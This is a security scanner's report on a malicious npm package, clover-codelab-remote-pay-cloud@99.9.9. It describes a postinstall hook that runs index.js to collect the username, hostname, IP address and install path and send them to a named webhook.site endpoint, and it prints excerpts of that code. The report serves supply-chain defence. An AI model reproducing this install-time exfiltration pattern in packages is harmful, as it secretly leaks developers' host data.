Loading npm security reports…

clover-codelab-remote-pay-cloud@99.9.9: Malicious npm security | LPM Firewall

registry / clover-codelab-remote-pay-cloud / 99.9.9

clover-codelab-remote-pay-cloud@99.9.9

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Installation automatically executes `index.js`. It fingerprints the installing host and exfiltrates the result to an external webhook.

Static reason

One or more suspicious static signals were detected.

Trigger

`npm install` / lifecycle `postinstall`

Impact

Leaks local username, hostname, IPv4 address, and installation path to a third party.

Mechanism

install-time host fingerprinting and HTTPS exfiltration

Attack narrative

During npm installation, the `postinstall` hook launches `index.js`. The script enumerates network interfaces, reads the current username, hostname, and `INIT_CWD` or current directory, serializes those values, and POSTs them to an external `webhook.site` endpoint. This is unconsented install-time host fingerprinting with no package functionality to justify it.

Rationale

Direct source inspection confirms a concrete install-time data-exfiltration chain. The package should be blocked.

Evidence

package.jsonindex.js

Network endpoints1

webhook.site/9aa13631-fbb0-4b6b-a256-27d1672f767c

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`package.json` runs `node index.js` in `postinstall`.
`index.js` collects username, hostname, IPv4 address, and install working directory.
`index.js` POSTs the collected host data to a `webhook.site` URL automatically.
The network request runs at module top level with no user action or consent.

Evidence against

Only `package.json` and `index.js` are present; no declared benign functionality.
No child-process execution, persistence, or destructive file operations were found.

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 828 B of source, external domains: webhook.site

Source & flagged code

2 flagged

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

1const os = require('os'); L2: const https = require('https'); L3: L4: function localIP() { L5: const nets = os.networkInterfaces(); L6: for (const iface of Object.values(nets)) { ... L16: user: os.userInfo().username, L17: cwd: process.env.INIT_CWD || process.cwd(), L18: hostname: os.hostname(), L19: ip: localIP(), ... L33: req.on('error', () => {}); L34: req.write(payload);

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

Source & flagged code

2 flagged · loading source

package.jsonView file

•scripts.postinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

index.jsView file

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

Findings

2 High2 Medium3 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationindex.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings